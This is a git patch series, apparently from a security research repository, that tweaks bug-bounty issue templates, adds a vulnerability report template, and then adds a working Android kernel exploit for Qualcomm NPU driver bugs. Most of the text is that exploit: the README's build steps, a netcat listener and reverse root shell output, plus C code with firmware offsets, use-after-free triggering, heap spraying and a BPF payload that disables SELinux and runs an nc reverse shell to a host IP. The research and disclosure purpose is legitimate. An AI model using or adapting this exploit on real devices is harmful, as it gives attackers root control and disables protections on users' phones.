a/.github/ISSUE_TEMPLATE/all-for-one.md b/.github/ISSUE_TEMPLATE/all-for-one.md index a4379ac..6fde3ce 100644 --- a/.github/ISSUE_TEMPLATE/all-for-one.md +++ b/.github/ISSUE_TEMPLATE/all-for-one.md @@ -45,37 +45,43 @@ body: placeholder: ex. CWE-502: Deserialization of Untrusted Data validations: required: false - - type: textarea - id: cve_ids - attributes: - label: CVE(s) ID list - description: Enter a list of the CVE ID(s) associated with this query, one bullet for each distinct CVE. GitHub will automatically link CVE IDs to the [GitHub Advisory Database](https://github.com/advisories). - placeholder: | - ex. - - CVE-20nn-xxxx - - CVE-20nn-yyyy - validations: - required: true - type: textarea id: report attributes: label: Report description: Describe the vulnerability. Provide any information you think will help GitHub assess the impact your query has on the open source community. + placeholder: | + 1. What is the vulnerability? + 2. How does the vulnerability work? + 3. What strategy do you use in your query to find the vulnerability? + 4. How have you reduced the number of **false positives**? + 5. Other information? validations: required: true - type: checkboxes - id: publish + id: social + label: Are you planning to discuss this vulnerability submission publicly? (Blog Post, social networks, etc). *We would love to have you spread the word about the good work you are doing* + validations: + required: true attributes: options: - - label: Are you planning to discuss this vulnerability submission publicly? (Blog Post, social networks, etc). *We would love to have you spread the word about the good work you are doing* + - Yes + - No + - type: input + id: social_url + attributes: + label: Blog post link + description: If you have already blogged about your query, please provide a link. + validations: + required: false - type: textarea - id: results + id: cve_ids attributes: - label: Result(s) - description: Provide at least one useful result found by your query, on some revision of a real project. One bullet for each distinct result. + label: CVE(s) ID list + description: Enter a list of the CVE ID(s) associated with this query, one bullet for each distinct CVE. GitHub will automatically link CVE IDs to the [GitHub Advisory Database](https://github.com/advisories). If the result(s) is **NOT YET** fixed **nor disclosed**, and you are still waiting for a CVE, then you can privately share your result via email to [security@github.com](mailto:security@github.com?subject=[BugBounty]%20Issue%20#000%20useful%20result) placeholder: | ex. - - [project1](url1) - - [project2](url2) + - [CVE-20nn-xxxx]() + - [CVE-20nn-yyyy]() validations: required: true From b49660014ad584440835776bbec0732ab0ee4670 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Alvaro=20Mu=C3=B1oz=20Sanchez?= Date: Mon, 8 Nov 2021 13:46:18 +0100 Subject: [PATCH 056/140] rename file --- .github/ISSUE_TEMPLATE/{all-for-one.md => all-for-one.yml} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename .github/ISSUE_TEMPLATE/{all-for-one.md => all-for-one.yml} (100%) diff --git a/.github/ISSUE_TEMPLATE/all-for-one.md b/.github/ISSUE_TEMPLATE/all-for-one.yml similarity index 100% rename from .github/ISSUE_TEMPLATE/all-for-one.md rename to .github/ISSUE_TEMPLATE/all-for-one.yml From 0ab62198b195bce5695fe6cc66cfaa28035eb94e Mon Sep 17 00:00:00 2001 From: Xavier RENE-CORAIL Date: Mon, 8 Nov 2021 23:07:19 +0000 Subject: [PATCH 057/140] add .venv to .gitignore --- .gitignore | 1 + 1 file changed, 1 insertion(+) diff --git a/.gitignore b/.gitignore index 7ec7c55..f24a076 100644 --- a/.gitignore +++ b/.gitignore @@ -3,6 +3,7 @@ /.metadata/ .vscode .cache +.venv # Ignore any generated TypeScript -> JavaScript files .github/actions/replicate-issue/*.js From 13d0295147af38f4e12f78088d20118df76d5b20 Mon Sep 17 00:00:00 2001 From: Xavier RENE-CORAIL Date: Mon, 8 Nov 2021 23:07:38 +0000 Subject: [PATCH 058/140] Create vuln report template --- docs/report-template.md | 57 +++++++++++++++++++++++++++++++++++++++++ 1 file changed, 57 insertions(+) create mode 100644 docs/report-template.md diff --git a/docs/report-template.md b/docs/report-template.md new file mode 100644 index 0000000..495ea06 --- /dev/null +++ b/docs/report-template.md @@ -0,0 +1,57 @@ +*This vulnerability report template is offered to you by the GitHub Security Lab. Use it as an inspiration for your own reports. Reporting a vulnerability using this template does not imply that this report has been acknowledged by the GitHub Security Lab. Remove this first section and any mention of the GitHub Security Lab when you use this template.* + +# Vulnerability Report + +I identified potential security vulnerabilities in [product]. + +I am committed to working with you to help resolve these issues. In this report you will find everything you need to effectively coordinate a resolution of these issues. + +If at any point you have concerns or questions about this process, please do not hesitate to reach out to me at [email]. + +If you are _NOT_ the correct point of contact for this report, please let me know! + +## Summary + +*Short summary of the problem. Make the impact and severity as clear as possible. For example: An unsafe deserialization vulnerability allows any unauthenticated user to execute arbitrary code on the server.* + +## Product + +[product] + +## Tested Version + +[version] + +## Details + +*Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.* + +## PoC + +*Complete instructions, including specific configuration details, to reproduce the vulnerability* + +## Impact + +[impact] + +## Remediation + +*Propose a remediation suggestion if you have one. Make it clear that this is just a suggestion, as the maintainer might have a better idea to fix the issue.* + +## GitHub Security Advisories + +We recommend you create a private [GitHub Security Advisory](https://help.github.com/en/github/managing-security-vulnerabilities/creating-a-security-advisory) for these findings. This also allows you to invite me to collaborate and further discuss these findings in private before they are [published](https://help.github.com/en/github/managing-security-vulnerabilities/publishing-a-security-advisory). I will be happy to collaborate with you, and review your fix to make sure that all corner cases are covered. +When you use a GitHub Security Advisory, you can request a CVE identification number from GitHub. GitHub usually reviews the request within 72 hours, and the CVE details will be published after you make your security advisory public. Publishing a GitHub Security Advisory and a CVE will help notify the downstream consumers of your project, so they can update to the fixed version. + +## Credit + +*List all researchers who contributed to this disclosure.* +*Mention if you found the vulnerability with a specific tool.* + +## Contact + +[contact] + +## Disclosure Policy + +*Describe or link to your disclosure policy.* \ No newline at end of file From 62e1aa2a74d26c0b61767b9c5dcec9b12860bdf4 Mon Sep 17 00:00:00 2001 From: Man Yue Mo Date: Tue, 9 Nov 2021 14:36:45 +0000 Subject: [PATCH 059/140] Add NPU exploit --- .../Android/Qualcomm/NPU/README.md | 91 +++ .../Android/Qualcomm/NPU/bpf_tools.h | 142 +++++ .../Android/Qualcomm/NPU/npu_shell.c | 527 ++++++++++++++++++ .../Android/Qualcomm/NPU/npu_shell.h | 381 +++++++++++++ .../Android/Qualcomm/NPU/sendmsg_spray.c | 193 +++++++ .../Android/Qualcomm/NPU/sendmsg_spray.h | 27 + 6 files changed, 1361 insertions(+) create mode 100644 SecurityExploits/Android/Qualcomm/NPU/README.md create mode 100644 SecurityExploits/Android/Qualcomm/NPU/bpf_tools.h create mode 100644 SecurityExploits/Android/Qualcomm/NPU/npu_shell.c create mode 100644 SecurityExploits/Android/Qualcomm/NPU/npu_shell.h create mode 100644 SecurityExploits/Android/Qualcomm/NPU/sendmsg_spray.c create mode 100644 SecurityExploits/Android/Qualcomm/NPU/sendmsg_spray.h diff --git a/SecurityExploits/Android/Qualcomm/NPU/README.md b/SecurityExploits/Android/Qualcomm/NPU/README.md new file mode 100644 index 0000000..e75b93c --- /dev/null +++ b/SecurityExploits/Android/Qualcomm/NPU/README.md @@ -0,0 +1,91 @@ +## Exploit for Qualcomm NPU bugs (CVE-2021-1940, CVE-2021-1968, CVE-2021-1969) + +The write up can be found [here](https://securitylab.github.com/research/qualcomm_npu). These are bugs in the Qualcomm NPU driver I reported between November 2020 and December 2020. The GitHub Advisories for these bugs are: [CVE-2021-1940/GHSL-2021-1029](https://securitylab.github.com/advisories/GHSL-2021-1029-npu/), [CVE-2021-1968/GHSL-2021-1030](https://securitylab.github.com/advisories/GHSL-2021-1030-npu/) and [CVE-2021-1969/GHSL-2021-1031](https://securitylab.github.com/advisories/GHSL-2021-1031-npu/). These bugs can be used to gain arbitrary kernel code execution, read and write from the untrusted app domain. Kernel code are executed in the context of the root user and the exploit also disable SELinux. + +The exploit is tested on Samsung Galaxy A71 with firmware version A715FXXU3BUB5, Baseband A715FXXU3BUB4 and Kernel version 4.14.190-20973144. The offsets in the exploit refers to that version of the firmware. When running on other devices, the `FAST_CPU` macro may also need to change so that the code is executed on the fastest cpu on the device. The exploit should be compiled with either `-O2` or `-O3` level of optimization to ensure the cpu runs fast enough to win the race. For reference, I used the following command to compile with clang in ndk-21: + +``` +android-ndk-r21d-linux-x86_64/android-ndk-r21d/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android30-clang -O3 npu_shell.c sendmsg_spray.c -o npu_shell +``` + +The exploit will gain arbitrary kernel address read, write and kernel code execution. It'll then use these primitives to disable SELinux and pop a reverse root shell. To prepare for the reverse root shell, on the host machine, run a script that listens to port `4446`: + +``` +#!/bin/bash + +while [ 1 ]; +do + echo -e "/system/bin/tail -n 0 -f /data/local/tmp/1 | /system/bin/sh -i 2>&1 | /system/bin/nc 4445 1> /data/local/tmp/1" | nc -l -p 4446; +done +``` + +With `` replaced by the IP address of the host machine. The `HOST_IP` macro in `npu_shell.c` also needs to be replaced. + +The reason for this extra step is because `nc` on Android does not support the `-e` flag. (See "Popping a (reverse) shell" in [MMS Exploit Part 5: Defeating Android ASLR, Getting RCE](https://googleprojectzero.blogspot.com/2020/08/mms-exploit-part-5-defeating-aslr-getting-rce.html) of Mateusz Jurczyk and also the [reference](https://www.keuperict.nl/posts/security/2017/08/26/netcat-without-e/) quoted in the article) Then listens to port `4445` on the host machine: + +``` +$ nc -nlvp 4445 +Listening on 0.0.0.0 4445 +``` + +To test, cross compile the file `npu_shell.c` and then execute with `adb`: + +``` +adb push npu_shell /data/local/tmp +adb shell +a71:/ $ /data/local/tmp/npu_shell +``` + +The exploit is fairly reliable on the device tested. If successful, it will use the kernel code execution primitive to switch off SELinux and create a reverse root shell: + +``` +a71:/ $ /data/local/tmp/npu_sploit +[+] host_irq_wq offset: ffffff800919d170 +a71:/ $ [+] network_stats_buf (controlled data) address: 0xffffffc06eb7c000 +[+] reallocation data initialized! +[ ] initializing reallocation threads, please wait... +[+] 4 reallocation threads ready! +[+] trigger uaf +[+] reallocation data initialized! +[ ] initializing reallocation threads, please wait... +[+] 8 reallocation threads ready! +[-] failed to overwrite selinux_enforcing +[+] network_stats_buf (controlled data) address: 0xffffffc0b3c50000 +[+] reallocation data initialized! +[ ] initializing reallocation threads, please wait... +[+] 4 reallocation threads ready! +[+] trigger uaf +[+] reallocation data initialized! +[ ] initializing reallocation threads, please wait... +[+] 8 reallocation threads ready! +[+] successfully overwritten selinux_enforcing +``` + +After that, SELinux will be disabled. To get a reverse root shell, follow these steps (For some reason, I need to do some manual steps to get the shell) It is important to first restart the `nc` server that is listening to port 4445 before doing anything on the target. (The restarting of the `nc` server can probably be automated) + +1. Go to the terminal that listens to port 4445 and it should have received a packet: +``` +$nc -nlvp 4445 +Listening on 0.0.0.0 4445 +Connection received on 12.34.56.78 37532 + +``` +2. Kill `nc` with `Ctrl C` and then start it again +``` +^C +$ nc -nlvp 4445 +Listening on 0.0.0.0 4445 + +``` +3. Go back to the Android target, press enter to unfreeze, the `nc` terminal should now have a root shell: +``` +Listening on 0.0.0.0 4445 +Connection received on 12.34.56.78 37566 +/system/bin/sh: can't find tty fd: No such device or address +/system/bin/sh: warning: won't have full job control +:/ # id +uid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0 +:/ # getenforce +Permissive +:/ # +``` diff --git a/SecurityExploits/Android/Qualcomm/NPU/bpf_tools.h b/SecurityExploits/Android/Qualcomm/NPU/bpf_tools.h new file mode 100644 index 0000000..dcc8973 --- /dev/null +++ b/SecurityExploits/Android/Qualcomm/NPU/bpf_tools.h @@ -0,0 +1,142 @@ +#ifndef BPF_TOOLS_H +#define BPF_TOOLS_H + +#include + +#define BPF_ALU64_REG(OP, DST, SRC) \ + ((struct bpf_insn) { \ + .code = BPF_ALU64 | BPF_OP(OP) | BPF_X, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = 0, \ + .imm = 0 }) + +#define BPF_ALU64_IMM(OP, DST, IMM) \ + ((struct bpf_insn) { \ + .code = BPF_ALU64 | BPF_OP(OP) | BPF_K, \ + .dst_reg = DST, \ + .src_reg = 0, \ + .off = 0, \ + .imm = IMM }) + +#define BPF_MOV64_REG(DST, SRC) \ + ((struct bpf_insn) { \ + .code = BPF_ALU64 | BPF_MOV | BPF_X, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = 0, \ + .imm = 0 }) + +#define BPF_MOV64_IMM(DST, IMM) \ + ((struct bpf_insn) { \ + .code = BPF_ALU64 | BPF_MOV | BPF_K, \ + .dst_reg = DST, \ + .src_reg = 0, \ + .off = 0, \ + .imm = IMM }) + +#define BPF_LD_IMM64(DST, IMM) \ + BPF_LD_IMM64_RAW(DST, 0, IMM) + +#define BPF_LD_IMM64_RAW(DST, SRC, IMM) \ + ((struct bpf_insn) { \ + .code = BPF_LD | BPF_DW | BPF_IMM, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = 0, \ + .imm = (__u32) (IMM) }), \ + ((struct bpf_insn) { \ + .code = 0, /* zero is reserved opcode */ \ + .dst_reg = 0, \ + .src_reg = 0, \ + .off = 0, \ + .imm = ((__u64) (IMM)) >> 32 }) + +#define BPF_MOV64_RAW(TYPE, DST, SRC, IMM) \ + ((struct bpf_insn) { \ + .code = BPF_ALU64 | BPF_MOV | BPF_SRC(TYPE), \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = 0, \ + .imm = IMM }) + +#define BPF_LDX_MEM(SIZE, DST, SRC, OFF) \ + ((struct bpf_insn) { \ + .code = BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = OFF, \ + .imm = 0 }) + +#define BPF_STX_MEM(SIZE, DST, SRC, OFF) \ + ((struct bpf_insn) { \ + .code = BPF_STX | BPF_SIZE(SIZE) | BPF_MEM, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = OFF, \ + .imm = 0 }) + +#define BPF_STX_XADD(SIZE, DST, SRC, OFF) \ + ((struct bpf_insn) { \ + .code = BPF_STX | BPF_SIZE(SIZE) | BPF_XADD, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = OFF, \ + .imm = 0 }) + +#define BPF_ST_MEM(SIZE, DST, OFF, IMM) \ + ((struct bpf_insn) { \ + .code = BPF_ST | BPF_SIZE(SIZE) | BPF_MEM, \ + .dst_reg = DST, \ + .src_reg = 0, \ + .off = OFF, \ + .imm = IMM }) + +#define BPF_JMP_REG(OP, DST, SRC, OFF) \ + ((struct bpf_insn) { \ + .code = BPF_JMP | BPF_OP(OP) | BPF_X, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = OFF, \ + .imm = 0 }) + +#define BPF_JMP_IMM(OP, DST, IMM, OFF) \ + ((struct bpf_insn) { \ + .code = BPF_JMP | BPF_OP(OP) | BPF_K, \ + .dst_reg = DST, \ + .src_reg = 0, \ + .off = OFF, \ + .imm = IMM }) + +#define BPF_JMP_A(OFF) \ + ((struct bpf_insn) { \ + .code = BPF_JMP | BPF_JA, \ + .dst_reg = 0, \ + .src_reg = 0, \ + .off = OFF, \ + .imm = 0 }) + +// This check has been added to ensure that function calls are always within the allowed range. +#define BPF_EMIT_CALL__IMM(FUNC) ({ \ + uintptr_t __offset = (FUNC) - __bpf_call_base; \ + (__s32) __offset; \ + }) + +#define BPF_EMIT_CALL(FUNC) \ + ((struct bpf_insn) { \ + .code = BPF_JMP | BPF_CALL, \ + .dst_reg = 0, \ + .src_reg = 0, \ + .off = 0, \ + .imm = BPF_EMIT_CALL__IMM(FUNC)/*((FUNC) - __bpf_call_base)*/ }) + +#define BPF_EXIT_INSN() \ + ((struct bpf_insn) { \ + .code = BPF_JMP | BPF_EXIT, \ + .dst_reg = 0, \ + .src_reg = 0, \ + .off = 0, \ + .imm = 0 }) + + +#endif diff --git a/SecurityExploits/Android/Qualcomm/NPU/npu_shell.c b/SecurityExploits/Android/Qualcomm/NPU/npu_shell.c new file mode 100644 index 0000000..9afa9cb --- /dev/null +++ b/SecurityExploits/Android/Qualcomm/NPU/npu_shell.c @@ -0,0 +1,527 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "npu_shell.h" +#include "sendmsg_spray.h" +#include "bpf_tools.h" + +#define NB_REALLOC_THREADS 8 + +#define STATS_BUF_SIZE 16384 + +#define OBJECT_SIZE 96 + +#define NB_REALLOC_THREADS 8 + +#define FAST_CPU 6 + +#define GFP_KERNEL (0x40 | 0x80 | 0x400000u | 0x1000000u) + +//For reverse shell +#define HOST_IP "12.34.56.78" + +//-----------A71 firmware specific offsets--------------- + +#define BPF_PROG_RUN32 0xffffff80081445c0 + +#define INIT_TASK 0xffffff800aba9780 + +#define HOST_IRQ_WQ 0xffffff8008fe5170 + +#define ION_DMA_BUF_VUNMAP 0xffffff80091c82a0 + +#define BPF_CALL_BASE 0xffffff8008142ac0 + +#define SELINUX_ENFORCING 0xffffff800af7cf10 + +#define DO_TASK_DEAD 0xffffff800806d0b0 + +#define MEMSET 0xffffff800980a280 + +#define MEMCMP 0xffffff8009809d7c + +#define ARGV_SPLIT 0xffffff800980a968 + +#define CALL_USERMODEHELPER 0xffffff80080504f0 + +#define RUN_CMD_ENVP 0xffffff800abbaca8 + +#define ION_ALLOC_FD 0xffffff80091c69f8 + +//offsets to dma_buf and ion_buffer, probably fairly firmware independent +#define PRIV_OFF 152 +#define HEAP_OFF 32 +#define OPS_OFF 56 +#define MAP_OFF 16 +#define UNMAP_OFF 24 +#define CNT_OFF 104 + +//----------Bpf offsets--------------------------------- +static int bpf_op_offset = 0x000; +//rw input address +static int bpf_rw_addr_offset = 0x008; +//output address +static int bpf_out_offset = 0x108; +//arguments offsets +static int bpf_arg0 = 0x10; +static int bpf_arg1 = 0x18; +static int bpf_arg2 = 0x20; +static int bpf_arg3 = 0x28; +static int bpf_arg4 = 0x30; + +//cmd buffer +static int cmd_arg = 0x40; + +//----------------------------------------------------- + +static char g_realloc_data[OBJECT_SIZE] = {0}; + +static char g_stats_buf[STATS_BUF_SIZE] = {0}; + +struct network_exec_param { + int npu_fd; + int ion_alloc_fd; + uint64_t npu_phys_addr; + uint32_t network_hdl; + char stats_buf[256]; +}; + +static int open_dev(char* name) { + int fd = open(name, O_RDONLY); + if (fd == -1) { + err(1, "cannot open %s\n", name); + } + return fd; +} + +static int allocate_ion(int ion_fd, size_t len) { + struct ion_allocation_data ion_alloc_data; + + ion_alloc_data.len = len; + ion_alloc_data.flags = 1; + ion_alloc_data.heap_id_mask = ION_HEAP(25); + if (ioctl(ion_fd, ION_IOC_ALLOC, &ion_alloc_data) < 0) { + err(1, "ION_IOC_ALLOC failed\n"); + } + return ion_alloc_data.fd; +} + +static uint64_t npu_map_buf(int npu_fd, int ion_alloc_fd, size_t size) { + struct msm_npu_map_buf_ioctl map_param; + map_param.buf_ion_hdl = ion_alloc_fd; + map_param.size = size; + if (ioctl(npu_fd, MSM_NPU_MAP_BUF, &map_param) < 0) { + err(1, "NPU_MAP_BUF failed\n"); + } + return map_param.npu_phys_addr; +} + +static uint32_t npu_load_network(int npu_fd, int ion_alloc_fd, uint64_t npu_phys_addr) { + struct msm_npu_load_network_ioctl network_param; + network_param.buf_ion_hdl = ion_alloc_fd; + network_param.buf_phys_addr = npu_phys_addr; + network_param.buf_size = 0x10000; + network_param.first_block_size = 0x1000; + if (ioctl(npu_fd, MSM_NPU_LOAD_NETWORK, &network_param) < 0) { + err(1, "Load network failed\n"); + } + return network_param.network_hdl; +} + +static uint32_t npu_load_network_v2(int npu_fd, int ion_alloc_fd, uint64_t npu_phys_addr) { + struct msm_npu_load_network_ioctl_v2 network_param; + struct msm_npu_patch_info_v2 patch_info_arr[2]; + + for (int i = 0; i < 1; i++) { + patch_info_arr[i].value = npu_phys_addr; + patch_info_arr[i].chunk_id = i; + patch_info_arr[i].instruction_size_in_bytes = 1; + patch_info_arr[i].variable_size_in_bits = 8; + patch_info_arr[i].shift_value_in_bits = 8; + patch_info_arr[i].loc_offset = 0x1000; + } + + network_param.buf_ion_hdl = ion_alloc_fd; + network_param.buf_phys_addr = npu_phys_addr; + network_param.buf_size = 0x4000; + network_param.first_block_size = 0x1000; + network_param.num_layers = 0; + network_param.patch_info_num = 1; + network_param.priority = 0; + network_param.patch_info = (uint64_t)(&patch_info_arr[0]); + if (ioctl(npu_fd, MSM_NPU_LOAD_NETWORK_V2, &network_param) < 0) { + err(1, "Load network v2 failed\n"); + } + return network_param.network_hdl; +} + +static void npu_exec_network_v2(struct network_exec_param* network_exec_param, int trigger_uaf) { + struct msm_npu_exec_network_ioctl_v2 exec_param_v2; + struct msm_npu_patch_buf_info patch_buf_info_arr[2]; + int npu_fd = network_exec_param->npu_fd; + + for (int i = 0; i < 2; i++) { + patch_buf_info_arr[i].buf_id = network_exec_param->npu_phys_addr; + patch_buf_info_arr[i].buf_phys_addr = network_exec_param->npu_phys_addr; + } + + exec_param_v2.stats_buf_addr = (uint64_t)(&(network_exec_param->stats_buf[0])); + exec_param_v2.flags = 0x0e0e | 0x70200; + exec_param_v2.async = 1; + exec_param_v2.network_hdl = network_exec_param->network_hdl; + exec_param_v2.stats_buf_size = 256; + exec_param_v2.patch_buf_info_num = 2; + exec_param_v2.patch_buf_info = (uint64_t)(&patch_buf_info_arr[0]); + if (trigger_uaf) { + ioctl(npu_fd, MSM_NPU_EXEC_NETWORK_V2, &(exec_param_v2)); + close(npu_fd); + realloc_NOW(); + } else { + if (ioctl(npu_fd, MSM_NPU_EXEC_NETWORK_V2, &(exec_param_v2)) < 0) { + err(1, "NPU_EXEC_v2 failed\n"); + } + } +} + +static void npu_exec_network(struct network_exec_param* network_exec_param, int trigger_uaf) { + struct msm_npu_exec_network_ioctl exec_param; + int npu_fd = network_exec_param->npu_fd; + + exec_param.input_layers[0].buf_hdl = network_exec_param->ion_alloc_fd; + exec_param.input_layers[0].buf_size = 0x10000; + exec_param.input_layers[0].buf_phys_addr = network_exec_param->npu_phys_addr; + exec_param.input_layers[0].patch_info.chunk_id = 0; + exec_param.input_layers[0].patch_info.instruction_size_in_bytes = 0x16; + exec_param.input_layers[0].patch_info.variable_size_in_bits = 0x16; + exec_param.input_layers[0].patch_info.loc_offset = 0x10000; + + exec_param.output_layers[0].buf_hdl = network_exec_param->ion_alloc_fd; + exec_param.output_layers[0].buf_size = 0x10000; + exec_param.output_layers[0].buf_phys_addr = network_exec_param->npu_phys_addr; + exec_param.output_layers[0].patch_info.chunk_id = 1; + exec_param.output_layers[0].patch_info.instruction_size_in_bytes = 0x16; + exec_param.output_layers[0].patch_info.variable_size_in_bits = 0x16; + exec_param.output_layers[0].patch_info.loc_offset = 0x10000; + + exec_param.output_layer_num = 1; + exec_param.input_layer_num = 1; + exec_param.async = 1; + exec_param.network_hdl = network_exec_param->network_hdl; + exec_param.patching_required = 1; + if (trigger_uaf) { + ioctl(npu_fd, MSM_NPU_EXEC_NETWORK, &(exec_param)); + close(npu_fd); + realloc_NOW(); + } else { + if (ioctl(npu_fd, MSM_NPU_EXEC_NETWORK, &(exec_param)) < 0) { + err(1, "NPU_EXEC failed\n"); + } + } +} + +void npu_unload_network(int npu_fd, uint32_t network_hdl) { + + struct msm_npu_unload_network_ioctl unload_param; + unload_param.network_hdl = network_hdl; + if (ioctl(npu_fd, MSM_NPU_UNLOAD_NETWORK, &unload_param) < 0) { + err(1, "unload network failed\n"); + } +} + +uint64_t compute_kaslr_offset() { + struct network_exec_param network_exec_param; + int ion_fd = open_dev("/dev/ion"); + int npu_fd = open_dev("/dev/msm_npu"); + int ion_alloc_fd = allocate_ion(ion_fd, 0x1000); + uint64_t npu_phys_addr = npu_map_buf(npu_fd, ion_alloc_fd, 0x1000); + uint32_t network_hdl = npu_load_network_v2(npu_fd, ion_alloc_fd, npu_phys_addr); + + network_exec_param.npu_fd = npu_fd; + network_exec_param.ion_alloc_fd = ion_alloc_fd; + network_exec_param.npu_phys_addr = npu_phys_addr; + network_exec_param.network_hdl = network_hdl; + + npu_exec_network_v2(&network_exec_param, 0); + usleep(10000); + struct msm_npu_event event = {0}; + uint64_t* data64 = (uint64_t*)(&event.u.data[0]); + if (ioctl(npu_fd, MSM_NPU_RECEIVE_EVENT, &event) < 0) { + err(1, "NPU_RECEIVE_EVENT failed\n"); + } + uint64_t* data = (uint64_t*)(&event.u.data[4]); + uint64_t host_irq_wq_offset = data[10]; + close(npu_fd); + close(ion_fd); + return host_irq_wq_offset; +} + +uint64_t leak_and_populate_controlled_buffer(uint64_t host_irq_wq_offset) { + struct network_exec_param network_exec_param; + struct realloc_thread_arg rta[4]; + + int ion_fd = open_dev("/dev/ion"); + + migrate_to_cpu(FAST_CPU); + + int npu_fd = open_dev("/dev/msm_npu"); + int ion_alloc_fd = allocate_ion(ion_fd, 0x1000); + uint64_t npu_phys_addr = npu_map_buf(npu_fd, ion_alloc_fd, 0x1000); + uint32_t network_hdl = npu_load_network_v2(npu_fd, ion_alloc_fd, npu_phys_addr); + + network_exec_param.npu_fd = npu_fd; + network_exec_param.ion_alloc_fd = ion_alloc_fd; + network_exec_param.npu_phys_addr = npu_phys_addr; + network_exec_param.network_hdl = network_hdl; + + npu_exec_network_v2(&network_exec_param, 0); + usleep(10000); + struct msm_npu_event event = {0}; + uint64_t* data64 = (uint64_t*)(&event.u.data[0]); + if (ioctl(npu_fd, MSM_NPU_RECEIVE_EVENT, &event) < 0) { + err(1, "NPU_RECEIVE_EVENT failed\n"); + } + uint64_t* stats64 = (uint64_t*)(&(network_exec_param.stats_buf[0])); + printf("[+] network_stats_buf (controlled data) address: 0x%lx\n", stats64[0]); + uint64_t network_buf_address = stats64[0]; + memset(rta, 0, sizeof(rta)); + for (int i = 0; i < 4; i++) { + rta[i].realloc_data = &(g_stats_buf[0]); + rta[i].object_size = STATS_BUF_SIZE; + rta[i].cpu = FAST_CPU; + } + + uint64_t bpf_data_address = network_buf_address + 0x3000; + uint64_t __bpf_call_base = host_irq_wq_offset - HOST_IRQ_WQ + BPF_CALL_BASE; + uint64_t mem_set = host_irq_wq_offset - HOST_IRQ_WQ + MEMSET; + uint64_t mem_cmp = host_irq_wq_offset - HOST_IRQ_WQ + MEMCMP; + uint64_t do_task_dead = host_irq_wq_offset - HOST_IRQ_WQ + DO_TASK_DEAD; + uint64_t selinux_enforcing = SELINUX_ENFORCING - HOST_IRQ_WQ + host_irq_wq_offset; + uint64_t selinux_page = selinux_enforcing & 0xfffffffffffff000; + uint64_t argv_split = ARGV_SPLIT - HOST_IRQ_WQ + host_irq_wq_offset; + uint64_t call_usermodehelper = CALL_USERMODEHELPER - HOST_IRQ_WQ + host_irq_wq_offset; + uint64_t run_cmd_envp = RUN_CMD_ENVP - HOST_IRQ_WQ + host_irq_wq_offset; + uint64_t ion_alloc_fd_addr = ION_ALLOC_FD - HOST_IRQ_WQ + host_irq_wq_offset; + + //bpf program to run program loaded at network_buf_address + 0x2000, which + //overlaps with the ion_buffer used below and will have some parts overwritten. + //I'll have to skip over those fields, which are at the following offsets (in size of bpf_insn): + //4(heap),13(kmap_cnt),9(lock) + struct bpf_insn insn[] = { + // Load base address. + /* 0 */ BPF_LD_IMM64(BPF_REG_6, bpf_data_address), + //Jump over the instructions that I can't control + /* */ BPF_JMP_A(20), + //Jump over Unused + /* Unused*/{0}, + {0}, + {0}, + {0}, + {0}, + {0}, + {0}, + {0}, + {0}, + {0}, + {0}, + {0}, + {0}, + {0}, + {0}, + {0}, + {0}, + {0}, + {0}, + {0}, + // Load R1 = *(in:data + 10); this is the first argument. + /* */ BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_6, bpf_rw_addr_offset), + // Load R2 = *(in:data + 18); this is the second argument. + /* */ BPF_LDX_MEM(BPF_DW, BPF_REG_2, BPF_REG_6, bpf_arg0), + // Load R3 = *(in:data + 20); this is the third argument. + /* */ BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_6, bpf_arg2), + // Call R0 = function(R1, R2, R3, R4, R5). Call memset. + /* */ BPF_EMIT_CALL(mem_set), + /* */ BPF_LDX_MEM(BPF_DW, BPF_REG_2, BPF_REG_6, cmd_arg), + /* */ BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_6, 0x50), + /* */ BPF_LD_IMM64(BPF_REG_3, run_cmd_envp), + /* */ BPF_LD_IMM64(BPF_REG_4, 0), + /* */ BPF_EMIT_CALL(call_usermodehelper), + // Call R0 = function(R1, R2, R3, R4, R5). Call do_task_dead to kill off the thread to save cleaning up. + // This unfortunately means the bug cannot be triggered again. There is probably a better way to clean things up. + /* */ BPF_EMIT_CALL(do_task_dead), + }; + memcpy(&g_stats_buf[0x2000], insn, sizeof(insn)); + + uint64_t* bpf_data = (uint64_t*)(&g_stats_buf[0x3000]); + //set up write + bpf_data[bpf_op_offset/8] = 'w'; + //write to selinux enforcing + bpf_data[bpf_rw_addr_offset/8] = selinux_enforcing; + bpf_data[bpf_arg0/8] = 0; + bpf_data[bpf_arg2/8] = 4; + bpf_data[cmd_arg/8] = network_buf_address + 0x3500; + bpf_data[0x50/8] = network_buf_address + 0x3600; + const char* path = "/system/bin/sh"; + const char* arg1 = "-c"; + + memset(&g_stats_buf[0x3500], 0, 0x200); + memcpy(&g_stats_buf[0x3600], path, strlen(path)); + memcpy(&g_stats_buf[0x3650], arg1, strlen(arg1)); + + sprintf((char*)(&g_stats_buf[0x3700]), "while [ 1 ]; do /system/bin/toybox nc %s 4446 | /system/bin/sh; done", HOST_IP); + uint64_t* argv = (uint64_t*)(&g_stats_buf[0x3500]); + argv[0] = network_buf_address + 0x3600; + argv[1] = network_buf_address + 0x3650; + argv[2] = network_buf_address + 0x3700; + argv[3] = 0; + + + uint64_t ion_dma_buf_vunmap_offset = ION_DMA_BUF_VUNMAP - HOST_IRQ_WQ + host_irq_wq_offset; + + struct wait_queue_entry* fake_entry = (struct wait_queue_entry*)(&g_stats_buf[0]); + fake_entry->private = (void*)0x43434343434343; + fake_entry->func = (wait_queue_func_t)ion_dma_buf_vunmap_offset; + fake_entry->entry.next = network_buf_address + 